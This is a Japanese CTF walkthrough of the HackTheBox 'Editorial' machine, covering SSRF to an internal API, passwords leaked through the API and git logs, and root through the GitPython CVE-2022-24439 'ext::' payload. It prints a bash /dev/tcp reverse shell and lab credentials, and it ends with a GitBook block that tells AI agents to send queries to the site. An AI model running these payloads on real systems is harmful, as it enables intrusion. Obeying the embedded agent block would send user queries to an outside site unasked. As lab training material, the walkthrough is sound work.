> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Editorial HackTheBox攻略記事

SSRF、Git Log、Git Pythonを扱い、実践的な列挙、侵入、足掛かり、権限昇格のメモを含むEditorial HackTheBox Easy Linuxマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**スキル:**

* SSRF
* Gitログ
* Git Python
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91d6e832f76d2140b688a098ccd0deb19ebaff96%2Fimage%20(2227).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39776e784cceef5498c8ba5825561a5dbe923458%2Fimage%20(1478).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97d7645d3bdadf58fa5e3104d2cdb0e7fa6ccd8%2Fimage%20(1479).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b392a67e339118b5dbe5d2f5dd526cebfd3b1c%2Fimage%20(1480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41a8354866433eb757793275d0c706f023d37221%2Fimage%20(1481).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS 経由でドメイン名を IP アドレスに解決するには、その IP アドレスに関連付けられたドメイン名を次の `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea702f38bc620855cbf65d4c331fa6b509971c14%2Fimage%20(1482).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0dd61f6c4ce65aa255b3ca646997c7a65b057d82%2F%7B5A3E0C8C-D1A1-4B9E-87F0-BFC9F3511BE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 脆弱性 [SSRF](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

「Browse」ボタンを使うと、本の表紙を表す画像であるはずのファイルをダウンロードできます。一方、「Cover URL linked to your book」テキストフィールドでは、サービスがそのURLを参照して画像をアップロードできるように、URLを入力できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-259f3f78e655a8cd2a721b7265c0868a3f8cfd70%2Fimage%20(2232).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **開始** [**Burp Suite**](/ja/hacking-tools/web/burpsuite.md)**:**

画像がサーバーにアップロードされると、その保存場所へのリンクが提供されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb5ec8b1ceac12916088fefb6f77cb908b4ce1cd%2Fimage%20(2233).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、65,535個すべてのポートに対してブルートフォース攻撃を行うと、ポート5000だけが異なる応答を返すことがわかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-280066fe412bec96abe1b50c3e10e4bb9cf1f313%2Fimage%20(2234).png?alt=media" alt=""><figcaption></figcaption></figure>

内部ポート5000の内容を確認すると、ファイルのダウンロードが可能であることがわかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee3c513aa0a6d465c6f545582698ccff048a2526%2Fimage%20(2235).png?alt=media" alt=""><figcaption></figcaption></figure>

このJSON形式のファイルには、内部APIとそれぞれのルートが一覧されています。その中でも、 `message/authors` ルートは特に重要に見えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c34b4481608193cc7ea3c11419b877740924604%2Fimage%20(2238).png?alt=media" alt=""><figcaption></figcaption></figure>

したがって、Burp Suiteを使って、次のアドレスのポート5000経由でそのファイルにアクセスします：

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f08219a35902676466733c842c69c19c70985fb2%2Fimage%20(2240).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2102d6cb0943845aa378bdf9dbd1e9321a189a47%2Fimage%20(2241).png?alt=media" alt=""><figcaption></figcaption></figure>

このファイルには、平文のユーザー名とパスワードも見つかります `dev:dev080217_devAPI!@`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2765810dd3026cc971f04f81fbba9b0fdd72b2a%2Fimage%20(2242).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、次に接続を試みます `SSH` 開いているポート22経由で接続し、ユーザーフラグの取得に成功します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f65bef1b601852f33cd47a50b22db9b2b7dc8b%2Fimage%20(2239).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

#### Linuxサーバーにアクセスした後は、作業効率と快適さを最適化するため、ターミナルで次のコマンドを実行することをおすすめします：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

システムのルートに移動すると、2人のユーザーが存在することがわかります： **dev** および **prod**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-942393463689becb05c753d2ea1f18cfdb44b238%2Fimage%20(1465).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

ユーザー **dev** には、2つの可視フォルダと、"git"という名前の隠しフォルダがあります。 `git log` コマンドを実行すると、2つの異なるコミットが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26287b00d35326f41d505a0f6da3ddb10f96431c%2Fimage%20(1464).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c30a3c7411c2478a3ba83af9bb58752dea275271%2Fimage%20(1466).png?alt=media" alt=""><figcaption></figcaption></figure>

これらのコミットの中に、ユーザーのパスワードが **prod** 平文で表示されます： `prod:080217_Producti0n_2023!@`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f13dc1e16dcc6da452cd1d0052b19db00cc3ce9%2Fimage%20(1467).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、ユーザーとしてSSHでログインします **prod**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2fcaa65a841b9aac04eaa5e8dbfb092bfc4df2%2Fimage%20(1468).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers:

次の `sudo -l` コマンドを実行すると、スクリプトを実行できることがわかります。 **root**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd2b230bb0ff5d49a8b5ef71d7b954ebd844a10%2Fimage%20(1470).png?alt=media" alt=""><figcaption></figcaption></figure>

Gitライブラリの脆弱なバージョンがあり、これは次のもので識別されます： `clone_from` 関数が存在します。次のコマンドでPythonパッケージ一覧を表示すると、 `pip3 list`、 **GitPython 3.1.29** がインストールされていることがわかります。このバージョンは次の脆弱性で知られています： **CVE-2022-24439**これにより、任意コードの実行が可能になります。この欠陥は次のように悪用できます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3154ff277bb9f3235fabaae18e71013083c8853%2Fimage%20(1471).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

リバースシェルを取得するため、作業用ディレクトリにエクスプロイトスクリプトを作成します：

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7120311cf7114d2d87bb1e0305c66a029557c355%2Fimage%20(1475).png?alt=media" alt=""><figcaption></figcaption></figure></div>

次に、自分のマシンでポート4444を次の方法で待ち受けます： **netcat**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce3b29b6e61a22f094b76774c66008acfd4a5203%2Fimage%20(1474).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

最後に、 **sudo**、ペイロードを追加して：

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### rootフラグ: )

<div align="right"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9909f06029e6b08e613e66ff05f011c80d899157%2Fimage%20(1476).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30eeacca75f027f1efbe38d4438d65d7a462635a%2Fimage%20(1416).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
